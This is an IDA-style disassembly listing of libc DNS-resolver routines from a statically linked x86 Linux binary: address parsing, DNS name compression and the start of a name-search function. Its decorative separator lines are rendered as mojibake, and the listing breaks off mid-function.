陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000027 BYTES: COLLAPSED FUNCTION inet_addr. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804CEB4 proc near ; CODE XREF: inet_addr+Ep ; res_init+415p ... var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov ebx, [ebp+arg_0] lea ecx, [ebp+var_10] mov [ebp+var_18], ecx lea esi, [esi] loc_804CEC8: ; CODE XREF: sub_804CEB4+CBj xor esi, esi mov [ebp+var_14], 0Ah cmp byte ptr [ebx], 30h jnz short loc_804CEF3 inc ebx cmp byte ptr [ebx], 78h jz short loc_804CEE1 cmp byte ptr [ebx], 58h jnz short loc_804CEEC loc_804CEE1: ; CODE XREF: sub_804CEB4+26j mov [ebp+var_14], 10h inc ebx jmp short loc_804CEF3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CEEC: ; CODE XREF: sub_804CEB4+2Bj mov [ebp+var_14], 8 loc_804CEF3: ; CODE XREF: sub_804CEB4+20j ; sub_804CEB4+35j mov al, [ebx] test al, al jz short loc_804CF5A mov edi, dword_8078FA0 nop loc_804CF00: ; CODE XREF: sub_804CEB4+A4j test al, al jl short loc_804CF1C movzx edx, al test byte ptr [edi+edx*2+1], 8 jz short loc_804CF1C mov eax, [ebp+var_14] imul eax, esi lea esi, [edx+eax-30h] jmp short loc_804CF53 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CF1C: ; CODE XREF: sub_804CEB4+4Ej ; sub_804CEB4+58j cmp [ebp+var_14], 10h jnz short loc_804CF5A test al, al jl short loc_804CF5A and eax, 0FFh test byte ptr [edi+eax*2+1], 10h jz short loc_804CF5A lea ecx, [eax+0Ah] mov [ebp+var_1C], ecx mov edx, esi shl edx, 4 test byte ptr [edi+eax*2+1], 2 jz short loc_804CF4C lea esi, [ecx+edx-61h] jmp short loc_804CF53 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CF4C: ; CODE XREF: sub_804CEB4+8Ej mov ecx, [ebp+var_1C] lea esi, [ecx+edx-41h] loc_804CF53: ; CODE XREF: sub_804CEB4+64j ; sub_804CEB4+94j inc ebx mov al, [ebx] test al, al jnz short loc_804CF00 loc_804CF5A: ; CODE XREF: sub_804CEB4+43j ; sub_804CEB4+6Cj ... cmp byte ptr [ebx], 2Eh jnz short loc_804CF84 lea eax, [ebp+var_4] cmp [ebp+var_18], eax jnb loc_804CFEC cmp esi, 0FFh ja short loc_804CFEC mov ecx, [ebp+var_18] mov [ecx], esi add ecx, 4 mov [ebp+var_18], ecx inc ebx jmp loc_804CEC8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CF84: ; CODE XREF: sub_804CEB4+A9j cmp byte ptr [ebx], 0 jz short loc_804CF9A jl short loc_804CFEC movzx edx, byte ptr [ebx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804CFEC loc_804CF9A: ; CODE XREF: sub_804CEB4+D3j lea eax, [ebp+var_10] mov ecx, [ebp+var_18] sub ecx, eax mov eax, ecx sar eax, 2 inc eax cmp eax, 2 jz short loc_804CFBC jle short loc_804D008 cmp eax, 3 jz short loc_804CFCC cmp eax, 4 jz short loc_804CFE4 jmp short loc_804D008 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CFBC: ; CODE XREF: sub_804CEB4+F7j cmp esi, 0FFFFFFh ja short loc_804CFEC mov eax, [ebp+var_10] shl eax, 18h jmp short loc_804D006 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CFCC: ; CODE XREF: sub_804CEB4+FEj cmp esi, 0FFFFh ja short loc_804CFEC mov eax, [ebp+var_10] shl eax, 18h mov edx, [ebp+var_C] shl edx, 10h jmp short loc_804D004 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CFE4: ; CODE XREF: sub_804CEB4+103j cmp esi, 0FFh jbe short loc_804CFF0 loc_804CFEC: ; CODE XREF: sub_804CEB4+B1j ; sub_804CEB4+BDj ... xor eax, eax jmp short loc_804D021 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CFF0: ; CODE XREF: sub_804CEB4+136j mov eax, [ebp+var_10] shl eax, 18h mov edx, [ebp+var_C] shl edx, 10h or eax, edx mov edx, [ebp+var_8] shl edx, 8 loc_804D004: ; CODE XREF: sub_804CEB4+12Cj or eax, edx loc_804D006: ; CODE XREF: sub_804CEB4+116j or esi, eax loc_804D008: ; CODE XREF: sub_804CEB4+F9j ; sub_804CEB4+105j cmp [ebp+arg_4], 0 jz short loc_804D01C mov eax, esi xchg al, ah ror eax, 10h xchg al, ah mov ecx, [ebp+arg_4] mov [ecx], eax loc_804D01C: ; CODE XREF: sub_804CEB4+158j mov eax, 1 loc_804D021: ; CODE XREF: sub_804CEB4+13Aj lea esp, [ebp+var_28] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804CEB4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000274 BYTES: COLLAPSED FUNCTION dn_expand. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804D2A0 proc near ; CODE XREF: res_mkquery+F9p ; res_mkquery+15Ap var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov edx, edi add edx, [ebp+arg_8] mov [ebp+var_C], edx mov [ebp+var_4], 0 mov [ebp+var_8], 0 cmp [ebp+arg_C], 0 jz short loc_804D304 mov edx, [ebp+arg_C] mov edx, [edx] mov [ebp+var_10], edx add [ebp+arg_C], 4 test edx, edx jz short loc_804D30B mov edx, [ebp+arg_C] mov [ebp+var_4], edx cmp dword ptr [edx], 0 jz short loc_804D2F4 lea esi, [esi] loc_804D2E8: ; CODE XREF: sub_804D2A0+52j add [ebp+var_4], 4 mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jnz short loc_804D2E8 loc_804D2F4: ; CODE XREF: sub_804D2A0+44j mov edx, [ebp+var_4] mov [ebp+var_8], edx jmp short loc_804D30B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D2FC: ; CODE XREF: sub_804D2A0+11Aj dec edi jmp loc_804D3D5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D304: ; CODE XREF: sub_804D2A0+29j mov [ebp+var_10], 0 loc_804D30B: ; CODE XREF: sub_804D2A0+39j ; sub_804D2A0+5Aj movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz loc_804D3D5 nop loc_804D318: ; CODE XREF: sub_804D2A0+12Fj cmp [ebp+var_10], 0 jz short loc_804D382 mov edx, [ebp+var_8] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+var_10] push edx lea eax, [esi-1] push eax call sub_804D484 mov ecx, eax add esp, 10h test ecx, ecx jl short loc_804D360 lea ebx, [edi+1] cmp [ebp+var_C], ebx jbe loc_804D3E9 sar eax, 8 or al, 0C0h mov [edi], al mov edi, ebx mov edx, edi inc edi mov al, cl mov [edx], al jmp loc_804D3F4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D360: ; CODE XREF: sub_804D2A0+9Aj cmp [ebp+arg_10], 0 jz short loc_804D382 mov eax, [ebp+arg_10] add eax, 0FFFFFFFCh cmp [ebp+var_4], eax jnb short loc_804D382 mov edx, [ebp+var_4] mov [edx], edi add edx, 4 mov [ebp+var_4], edx mov dword ptr [edx], 0 loc_804D382: ; CODE XREF: sub_804D2A0+7Cj ; sub_804D2A0+C4j ... mov [ebp+var_14], edi inc edi jmp short loc_804D3A7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D388: ; CODE XREF: sub_804D2A0+10Aj cmp ebx, 5Ch jnz short loc_804D395 movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_804D3B0 loc_804D395: ; CODE XREF: sub_804D2A0+EBj cmp [ebp+var_C], edi jbe short loc_804D3DA mov al, bl mov [edi], al inc edi movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_804D3B0 loc_804D3A7: ; CODE XREF: sub_804D2A0+E6j cmp ebx, 2Eh jnz short loc_804D388 movzx ebx, byte ptr [esi] inc esi loc_804D3B0: ; CODE XREF: sub_804D2A0+F3j ; sub_804D2A0+105j mov ecx, edi sub ecx, [ebp+var_14] dec ecx jnz short loc_804D3C0 test ebx, ebx jz loc_804D2FC loc_804D3C0: ; CODE XREF: sub_804D2A0+116j lea eax, [ecx-1] cmp eax, 3Eh ja short loc_804D3DA mov edx, [ebp+var_14] mov [edx], cl test ebx, ebx jnz loc_804D318 loc_804D3D5: ; CODE XREF: sub_804D2A0+5Dj ; sub_804D2A0+71j cmp [ebp+var_C], edi ja short loc_804D3F0 loc_804D3DA: ; CODE XREF: sub_804D2A0+F8j ; sub_804D2A0+126j cmp [ebp+var_10], 0 jz short loc_804D3E9 mov edx, [ebp+var_8] mov dword ptr [edx], 0 loc_804D3E9: ; CODE XREF: sub_804D2A0+A2j ; sub_804D2A0+13Ej mov eax, 0FFFFFFFFh jmp short loc_804D3F9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D3F0: ; CODE XREF: sub_804D2A0+138j mov byte ptr [edi], 0 inc edi loc_804D3F4: ; CODE XREF: sub_804D2A0+B8j mov eax, edi sub eax, [ebp+arg_4] loc_804D3F9: ; CODE XREF: sub_804D2A0+14Ej lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804D2A0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804D404 proc near ; CODE XREF: sub_805EFB0+88p ; sub_805EFB0+E0p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, esi cmp esi, ebx jnb short loc_804D440 lea esi, [esi+0] loc_804D418: ; CODE XREF: sub_804D404+3Aj movzx edx, byte ptr [eax] inc eax test edx, edx jz short loc_804D440 mov ecx, edx and ecx, 0C0h jz short loc_804D434 cmp ecx, 0C0h jz short loc_804D438 jmp short loc_804D448 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D434: ; CODE XREF: sub_804D404+24j add eax, edx jmp short loc_804D43C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D438: ; CODE XREF: sub_804D404+2Cj inc eax jmp short loc_804D440 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D43C: ; CODE XREF: sub_804D404+32j cmp eax, ebx jb short loc_804D418 loc_804D440: ; CODE XREF: sub_804D404+Fj ; sub_804D404+1Aj ... cmp eax, ebx ja short loc_804D448 sub eax, esi jmp short loc_804D44D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D448: ; CODE XREF: sub_804D404+2Ej ; sub_804D404+3Ej mov eax, 0FFFFFFFFh loc_804D44D: ; CODE XREF: sub_804D404+42j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_804D404 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804D458 proc near ; CODE XREF: sub_804D484+81p ; sub_804D484+8Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] test dl, dl jl short loc_804D47C mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 1 jz short loc_804D47C mov eax, dword_8078FA4 mov eax, [eax+edx*4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D47C: ; CODE XREF: sub_804D458+8j ; sub_804D458+14j mov eax, edx mov esp, ebp pop ebp retn sub_804D458 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804D484 proc near ; CODE XREF: sub_804D2A0+8Ep var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push edi push esi push ebx mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx jmp loc_804D69C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D498: ; CODE XREF: sub_804D484+21Ej mov ebx, [ebp+arg_0] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [ebp+var_8], ecx movzx esi, byte ptr [ecx] mov edi, ecx jmp loc_804D681 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D4B0: ; CODE XREF: sub_804D484+200j mov eax, esi and eax, 0C0h jz short loc_804D4CC cmp eax, 0C0h jz loc_804D66C jmp loc_804D6A8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D4CC: ; CODE XREF: sub_804D484+33j dec esi js loc_804D656 mov eax, esi not eax and eax, 3 cmp esi, 0FFFFFFFFh jle short loc_804D557 test eax, eax jz loc_804D590 cmp eax, 3 jge short loc_804D557 cmp eax, 2 jge short loc_804D524 cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D500 inc ebx loc_804D500: ; CODE XREF: sub_804D484+79j movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_C], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_C], eax jnz loc_804D698 dec esi loc_804D524: ; CODE XREF: sub_804D484+6Bj cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D533 inc ebx loc_804D533: ; CODE XREF: sub_804D484+ACj movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_10], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_10], eax jnz loc_804D698 dec esi loc_804D557: ; CODE XREF: sub_804D484+59j ; sub_804D484+66j cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D566 inc ebx loc_804D566: ; CODE XREF: sub_804D484+DFj movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_14], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_14], eax jnz loc_804D698 dec esi js loc_804D656 loc_804D590: ; CODE XREF: sub_804D484+5Dj ; sub_804D484+1CCj cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D59F inc ebx loc_804D59F: ; CODE XREF: sub_804D484+118j movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_18], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_18], eax jnz loc_804D698 dec esi cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D5D2 inc ebx loc_804D5D2: ; CODE XREF: sub_804D484+14Bj movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_1C], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_1C], eax jnz loc_804D698 dec esi cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D605 inc ebx loc_804D605: ; CODE XREF: sub_804D484+17Ej movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_20], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_20], eax jnz short loc_804D698 dec esi cmp byte ptr [ebx], 2Eh jz short loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D630 inc ebx loc_804D630: ; CODE XREF: sub_804D484+1A9j movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_24], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_24], eax jnz short loc_804D698 dec esi jns loc_804D590 loc_804D656: ; CODE XREF: sub_804D484+49j ; sub_804D484+106j movzx esi, byte ptr [ebx] inc ebx test esi, esi jnz short loc_804D663 cmp byte ptr [edi], 0 jz short loc_804D68F loc_804D663: ; CODE XREF: sub_804D484+1D8j cmp esi, 2Eh jz short loc_804D67E jmp short loc_804D698 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D66C: ; CODE XREF: sub_804D484+3Aj mov eax, esi and eax, 3Fh shl eax, 8 movzx edx, byte ptr [edi] or eax, edx mov edi, [ebp+arg_4] add edi, eax loc_804D67E: ; CODE XREF: sub_804D484+1E2j movzx esi, byte ptr [edi] loc_804D681: ; CODE XREF: sub_804D484+24j inc edi test esi, esi jnz loc_804D4B0 cmp byte ptr [ebx], 0 jnz short loc_804D698 loc_804D68F: ; CODE XREF: sub_804D484+1DDj mov eax, [ebp+var_8] sub eax, [ebp+arg_4] jmp short loc_804D6AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D698: ; CODE XREF: sub_804D484+70j ; sub_804D484+99j ... add [ebp+var_4], 4 loc_804D69C: ; CODE XREF: sub_804D484+Fj mov ecx, [ebp+arg_C] cmp [ebp+var_4], ecx jb loc_804D498 loc_804D6A8: ; CODE XREF: sub_804D484+40j mov eax, 0FFFFFFFFh loc_804D6AD: ; CODE XREF: sub_804D484+211j lea esp, [ebp+var_30] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804D484 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804D6B8 proc near ; CODE XREF: sub_804B800+19Fp ; sub_804B800+1ADp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dl, [eax] shl dx, 8 movzx ax, byte ptr [eax+1] or dx, ax movzx eax, dx mov esp, ebp pop ebp retn sub_804D6B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804D6D4 proc near ; CODE XREF: sub_805F7E4+66p ; sub_805F7E4+41Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] mov cl, [edx] shl ecx, 18h movzx eax, byte ptr [edx+1] shl eax, 10h or ecx, eax movzx eax, byte ptr [edx+2] shl eax, 8 or ecx, eax movzx eax, byte ptr [edx+3] or ecx, eax mov eax, ecx mov esp, ebp pop ebp retn sub_804D6D4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804D700 proc near ; CODE XREF: res_send+283p ; res_mkquery+113p ... arg_0 = word ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] mov dx, [ebp+arg_0] mov eax, edx shr ax, 8 mov [ecx], al mov [ecx+1], dl mov esp, ebp pop ebp retn sub_804D700 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804D71C proc near ; CODE XREF: res_mkquery+188p ; res_mkquery+1D9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, ecx shr eax, 18h mov [edx], al mov eax, ecx shr eax, 10h mov [edx+1], al mov eax, ecx shr eax, 8 mov [edx+2], al mov [edx+3], cl mov esp, ebp pop ebp retn sub_804D71C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000722 BYTES: COLLAPSED FUNCTION res_init. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000010B BYTES: COLLAPSED FUNCTION sub_804DE68. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003D BYTES: COLLAPSED FUNCTION sub_804DF74. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804DFB4 proc near ; CODE XREF: res_init+77p var_8 = word ptr -8 var_4 = word ptr -4 push ebp mov ebp, esp sub esp, 8 push 0 lea eax, [ebp+var_8] push eax call __libc_gettimeofday call __libc_getpid mov edx, eax mov ax, [ebp+var_8] xor ax, [ebp+var_4] xor ax, dx and eax, 0FFFFh mov esp, ebp pop ebp retn sub_804DFB4 endp ; [0000019F BYTES: COLLAPSED FUNCTION res_query. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804E180 proc near ; CODE XREF: gethostbyname+144p var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov edi, [ebp+arg_0] mov edx, [ebp+arg_C] mov [ebp+var_4], edx mov [ebp+var_C], 0 mov [ebp+var_10], 0 mov [ebp+var_14], 0 test byte ptr dword_807854C, 1 jnz short loc_804E1CC call res_init cmp eax, 0FFFFFFFFh jnz short loc_804E1CC mov ds:dword_807E788, 0FFFFFFFFh jmp loc_804E388 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E1CC: ; CODE XREF: sub_804E180+2Ej ; sub_804E180+38j mov errno, 0 mov ds:dword_807E788, 1 xor ebx, ebx mov eax, edi cmp byte ptr [edi], 0 jz short loc_804E1F8 lea esi, [esi+0] loc_804E1EC: ; CODE XREF: sub_804E180+76j cmp byte ptr [eax], 2Eh jnz short loc_804E1F2 inc ebx loc_804E1F2: ; CODE XREF: sub_804E180+6Fj inc eax cmp byte ptr [eax], 0 jnz short loc_804E1EC loc_804E1F8: ; CODE XREF: sub_804E180+67j xor esi, esi cmp eax, edi jbe short loc_804E205 cmp byte ptr [eax-1], 2Eh jnz short loc_804E205 inc esi loc_804E205: ; CODE XREF: sub_804E180+7Cj ; sub_804E180+82j test ebx, ebx jnz short loc_804E234 push edi call __hostalias add esp, 4 test eax, eax jz short loc_804E234 mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push eax call res_query jmp loc_804E38D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E234: ; CODE XREF: sub_804E180+87j ; sub_804E180+94j mov [ebp+var_8], 0FFFFFFFFh mov al, byte_80786A8 and eax, 0Fh cmp ebx, eax jb short loc_804E277 mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push 0 push edi call sub_804E398 add esp, 18h test eax, eax jg loc_804E38D mov edx, ds:dword_807E788 mov [ebp+var_8], edx inc [ebp+var_14] loc_804E277: ; CODE XREF: sub_804E180+C6j test ebx, ebx jnz short loc_804E28C cmp byte ptr dword_807854C, 0 jl short loc_804E2A1 jmp loc_804E32F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E28C: ; CODE XREF: sub_804E180+F9j test esi, esi jnz loc_804E32F test byte ptr dword_807854C+1, 2 jz loc_804E32F loc_804E2A1: ; CODE XREF: sub_804E180+102j xor ebx, ebx mov esi, offset dword_8078588 cmp dword_8078588, 0 jz short loc_804E32F lea esi, [esi+0] loc_804E2B4: ; CODE XREF: sub_804E180+1ADj mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx mov eax, [esi] push eax push edi call sub_804E398 add esp, 18h test eax, eax jg loc_804E38D cmp errno, 6Fh jz loc_804E37E mov eax, ds:dword_807E788 cmp eax, 2 jz short loc_804E304 jg short loc_804E2F8 cmp eax, 1 jz short loc_804E319 jmp short loc_804E318 ; 